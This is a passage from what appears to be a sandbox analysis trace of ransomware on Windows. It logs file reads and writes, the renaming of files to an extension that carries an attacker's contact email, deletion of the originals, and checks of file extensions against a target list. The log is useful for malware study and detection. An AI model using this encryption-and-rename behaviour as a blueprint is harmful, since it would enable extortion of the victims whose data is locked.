"c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0164.155] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=96088) returned 1 [0164.155] CloseHandle (hObject=0x2fc) returned 1 [0164.155] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 0x80 [0164.155] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0164.155] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0164.155] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0164.155] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0164.155] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0164.156] GetLastError () returned 0x0 [0164.156] ReadFile (in: hFile=0x2fc, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x17758, lpOverlapped=0x0) returned 1 [0164.325] WriteFile (in: hFile=0x314, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x17760, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x17760, lpOverlapped=0x0) returned 1 [0164.418] ReadFile (in: hFile=0x2fc, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0164.418] WriteFile (in: hFile=0x314, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0xf4, lpOverlapped=0x0) returned 1 [0164.418] SetEndOfFile (hFile=0x314) returned 1 [0164.418] CloseHandle (hObject=0x314) returned 1 [0164.534] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0164.534] SetEndOfFile (hFile=0x2fc) returned 1 [0164.536] CloseHandle (hObject=0x2fc) returned 1 [0164.536] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0164.536] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 1 [0164.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0164.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0164.536] lstrlenW (lpString=".doc") returned 4 [0164.536] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0164.536] lstrlenW (lpString=".docx") returned 5 [0164.536] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0164.536] lstrlenW (lpString=".pdf") returned 4 [0164.536] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0164.536] lstrlenW (lpString=".xls") returned 4 [0164.537] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0164.537] lstrlenW (lpString=".xlsx") returned 5 [0164.537] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0164.537] lstrlenW (lpString=".ppt") returned 4 [0164.537] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0164.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0164.537] lstrlenW (lpString=".zip") returned 4 [0164.537] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0164.537] lstrlenW (lpString=".rar") returned 4 [0164.537] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0164.537] lstrlenW (lpString=".bz2") returned 4 [0164.537] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0164.537] lstrlenW (lpString=".7z") returned 3 [0164.537] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0164.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0164.537] lstrlenW (lpString=".dbf") returned 4 [0164.537] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0164.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0164.537] lstrlenW (lpString=".1cd") returned 4 [0164.537] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0164.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0164.537] lstrlenW (lpString=".jpg") returned 4 [0164.537] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0164.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0164.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0164.537] lstrlenW (lpString=".doc") returned 4 [0164.537] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0164.537] lstrlenW (lpString=".docx") returned 5 [0164.537] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0164.537] lstrlenW (lpString=".pdf") returned 4 [0164.537] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0164.537] lstrlenW (lpString=".xls") returned 4 [0164.538] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0164.538] lstrlenW (lpString=".xlsx") returned 5 [0164.538] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0164.538] lstrlenW (lpString=".ppt") returned 4 [0164.538] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0164.538] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0164.538] lstrlenW (lpString=".zip") returned 4 [0164.538] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0164.538] lstrlenW (lpString=".rar") returned 4 [0164.538] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0164.538] lstrlenW (lpString=".bz2") returned 4 [0164.538] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0164.538] lstrlenW (lpString=".7z") returned 3 [0164.538] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0164.538] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0164.538] lstrlenW (lpString=".dbf") returned 4 [0164.538] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0164.538] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0164.538] lstrlenW (lpString=".1cd") returned 4 [0164.538] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0164.538] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0164.538] lstrlenW (lpString=".jpg") returned 4 [0164.538] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0164.538] lstrcmpiW (lpString1=".msu", lpString2=".carcn") returned 1 [0164.538] lstrlenW (lpString="Windows6.0-KB956250-v6001-x64.msu") returned 33 [0164.539] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0164.746] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=5198099) returned 1 [0164.746] CloseHandle (hObject=0x2fc) returned 1 [0164.746] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu")) returned 0x80 [0164.746] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0164.746] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0164.858] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0164.863] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc64 | out: lpNewFilePointer=0x0) returned 1 [0164.863] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc24 | out: lpNewFilePointer=0x0) returned 1 [0164.864] ReadFile (in: hFile=0x378, lpBuffer=0x3bd6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fefc30, lpOverlapped=0x0 | out: lpBuffer=0x3bd6058*, lpNumberOfBytesRead=0x2fefc30*=0x40000, lpOverlapped=0x0) returned 1 [0164.942] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc24 | out: lpNewFilePointer=0x0) returned 1 [0164.942] ReadFile (in: hFile=0x378, lpBuffer=0x3c16058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fefc30, lpOverlapped=0x0 | out: lpBuffer=0x3c16058*, lpNumberOfBytesRead=0x2fefc30*=0x40000, lpOverlapped=0x0) returned 1 [0165.027] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2fefc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0165.027] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc24 | out: lpNewFilePointer=0x0) returned 1 [0165.027] ReadFile (in: hFile=0x378, lpBuffer=0x3c56058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fefc30, lpOverlapped=0x0 | out: lpBuffer=0x3c56058*, lpNumberOfBytesRead=0x2fefc30*=0x40000, lpOverlapped=0x0) returned 1 [0168.354] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0168.354] WriteFile (in: hFile=0x378, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x2fefca8, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefca8*=0xc012e, lpOverlapped=0x0) returned 1 [0168.783] SetEndOfFile (hFile=0x378) returned 1 [0168.784] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x43200b8 [0168.789] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc74 | out: lpNewFilePointer=0x0) returned 1 [0168.789] WriteFile (in: hFile=0x378, lpBuffer=0x43200b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fefc80, lpOverlapped=0x0 | out: lpBuffer=0x43200b8*, lpNumberOfBytesWritten=0x2fefc80*=0x40000, lpOverlapped=0x0) returned 1 [0168.790] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc74 | out: lpNewFilePointer=0x0) returned 1 [0168.790] WriteFile (in: hFile=0x378, lpBuffer=0x43200b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fefc80, lpOverlapped=0x0 | out: lpBuffer=0x43200b8*, lpNumberOfBytesWritten=0x2fefc80*=0x40000, lpOverlapped=0x0) returned 1 [0168.792] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc74 | out: lpNewFilePointer=0x0) returned 1 [0168.792] WriteFile (in: hFile=0x378, lpBuffer=0x43200b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fefc80, lpOverlapped=0x0 | out: lpBuffer=0x43200b8*, lpNumberOfBytesWritten=0x2fefc80*=0x40000, lpOverlapped=0x0) returned 1 [0168.793] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0168.793] CloseHandle (hObject=0x378) returned 1 [0172.039] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0172.039] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0172.039] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0172.039] lstrlenW (lpString=".doc") returned 4 [0172.039] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0172.039] lstrlenW (lpString=".docx") returned 5 [0172.039] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0172.039] lstrlenW (lpString=".pdf") returned 4 [0172.039] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0172.039] lstrlenW (lpString=".xls") returned 4 [0172.039] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0172.039] lstrlenW (lpString=".xlsx") returned 5 [0172.039] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0172.039] lstrlenW (lpString=".ppt") returned 4 [0172.039] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0172.039] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0172.039] lstrlenW (lpString=".zip") returned 4 [0172.040] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0172.040] lstrlenW (lpString=".rar") returned 4 [0172.040] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0172.040] lstrlenW (lpString=".bz2") returned 4 [0172.040] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0172.040] lstrlenW (lpString=".7z") returned 3 [0172.040] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0172.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0172.040] lstrlenW (lpString=".dbf") returned 4 [0172.040] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0172.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0172.040] lstrlenW (lpString=".1cd") returned 4 [0172.040] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0172.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0172.040] lstrlenW (lpString=".jpg") returned 4 [0172.040] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0172.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0172.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0172.040] lstrlenW (lpString=".doc") returned 4 [0172.040] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0172.040] lstrlenW (lpString=".docx") returned 5 [0172.040] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0172.040] lstrlenW (lpString=".pdf") returned 4 [0172.040] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0172.040] lstrlenW (lpString=".xls") returned 4 [0172.040] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0172.040] lstrlenW (lpString=".xlsx") returned 5 [0172.040] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0172.040] lstrlenW (lpString=".ppt") returned 4 [0172.040] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0172.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0172.040] lstrlenW (lpString=".zip") returned 4 [0172.040] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0172.040] lstrlenW (lpString=".rar") returned 4 [0172.041] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0172.041] lstrlenW (lpString=".bz2") returned 4 [0172.041] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0172.041] lstrlenW (lpString=".7z") returned 3 [0172.041] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0172.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0172.041] lstrlenW (lpString=".dbf") returned 4 [0172.041] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0172.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0172.041] lstrlenW (lpString=".1cd") returned 4 [0172.041] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0172.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0172.041] lstrlenW (lpString=".jpg") returned 4 [0172.041] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0172.041] lstrlenW (lpString="BCD") returned 3 [0172.041] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.041] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0172.041] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0172.041] lstrlenW (lpString=".doc") returned 4 [0172.041] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0172.041] lstrlenW (lpString=".docx") returned 5 [0172.041] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0172.041] lstrlenW (lpString=".pdf") returned 4 [0172.041] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0172.041] lstrlenW (lpString=".xls") returned 4 [0172.041] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0172.041] lstrlenW (lpString=".xlsx") returned 5 [0172.041] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0172.041] lstrlenW (lpString=".ppt") returned 4 [0172.041] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0172.042] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0172.042] lstrlenW (lpString=".zip") returned 4 [0172.042] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0172.042] lstrlenW (lpString=".rar") returned 4 [0172.042] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0172.042] lstrlenW (lpString=".bz2") returned 4 [0172.042] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0172.042] lstrlenW (lpString=".7z") returned 3 [0172.042] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0172.042] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0172.042] lstrlenW (lpString=".dbf") returned 4 [0172.042] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0172.042] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0172.042] lstrlenW (lpString=".1cd") returned 4 [0172.042] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0172.042] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0172.042] lstrlenW (lpString=".jpg") returned 4 [0172.042] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0172.042] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0172.042] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0172.042] lstrlenW (lpString=".doc") returned 4 [0172.042] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0172.042] lstrlenW (lpString=".docx") returned 5 [0172.042] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0172.042] lstrlenW (lpString=".pdf") returned 4 [0172.042] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0172.042] lstrlenW (lpString=".xls") returned 4 [0172.042] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0172.042] lstrlenW (lpString=".xlsx") returned 5 [0172.042] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0172.042] lstrlenW (lpString=".ppt") returned 4 [0172.042] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0172.042] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0172.042] lstrlenW (lpString=".zip") returned 4 [0172.042] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0172.043] lstrlenW (lpString=".rar") returned 4 [0172.043] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0172.043] lstrlenW (lpString=".bz2") returned 4 [0172.043] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0172.043] lstrlenW (lpString=".7z") returned 3 [0172.043] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0172.043] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0172.043] lstrlenW (lpString=".dbf") returned 4 [0172.043] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0172.043] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0172.043] lstrlenW (lpString=".1cd") returned 4 [0172.043] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0172.043] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0172.043] lstrlenW (lpString=".jpg") returned 4 [0172.043] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0172.043] lstrcmpiW (lpString1=".LOG1", lpString2=".carcn") returned 1 [0172.043] lstrlenW (lpString="BCD.LOG1") returned 8 [0172.043] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0172.043] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=0) returned 1 [0172.043] CloseHandle (hObject=0x360) returned 1 [0172.043] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0172.043] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0172.043] lstrlenW (lpString=".doc") returned 4 [0172.043] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0172.044] lstrlenW (lpString=".docx") returned 5 [0172.044] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0172.044] lstrlenW (lpString=".pdf") returned 4 [0172.044] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0172.044] lstrlenW (lpString=".xls") returned 4 [0172.044] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0172.044] lstrlenW (lpString=".xlsx") returned 5 [0172.044] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0172.044] lstrlenW (lpString=".ppt") returned 4 [0172.044] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0172.044] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0172.044] lstrlenW (lpString=".zip") returned 4 [0172.044] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0172.044] lstrlenW (lpString=".rar") returned 4 [0172.044] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0172.044] lstrlenW (lpString=".bz2") returned 4 [0172.044] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0172.044] lstrlenW (lpString=".7z") returned 3 [0172.044] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0172.044] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0172.044] lstrlenW (lpString=".dbf") returned 4 [0172.044] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0172.044] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0172.044] lstrlenW (lpString=".1cd") returned 4 [0172.044] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0172.044] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0172.044] lstrlenW (lpString=".jpg") returned 4 [0172.044] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0172.044] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0172.044] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0172.044] lstrlenW (lpString=".doc") returned 4 [0172.044] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0172.044] lstrlenW (lpString=".docx") returned 5 [0172.044] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0172.044] lstrlenW (lpString=".pdf") returned 4 [0172.045] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0172.045] lstrlenW (lpString=".xls") returned 4 [0172.045] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0172.045] lstrlenW (lpString=".xlsx") returned 5 [0172.045] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0172.045] lstrlenW (lpString=".ppt") returned 4 [0172.045] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0172.045] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0172.045] lstrlenW (lpString=".zip") returned 4 [0172.045] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0172.045] lstrlenW (lpString=".rar") returned 4 [0172.045] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0172.045] lstrlenW (lpString=".bz2") returned 4 [0172.045] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0172.045] lstrlenW (lpString=".7z") returned 3 [0172.045] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0172.045] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0172.045] lstrlenW (lpString=".dbf") returned 4 [0172.045] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0172.045] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0172.045] lstrlenW (lpString=".1cd") returned 4 [0172.045] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0172.045] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0172.045] lstrlenW (lpString=".jpg") returned 4 [0172.045] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0172.045] lstrcmpiW (lpString1=".LOG2", lpString2=".carcn") returned 1 [0172.045] lstrlenW (lpString="BCD.LOG2") returned 8 [0172.045] CreateFileW 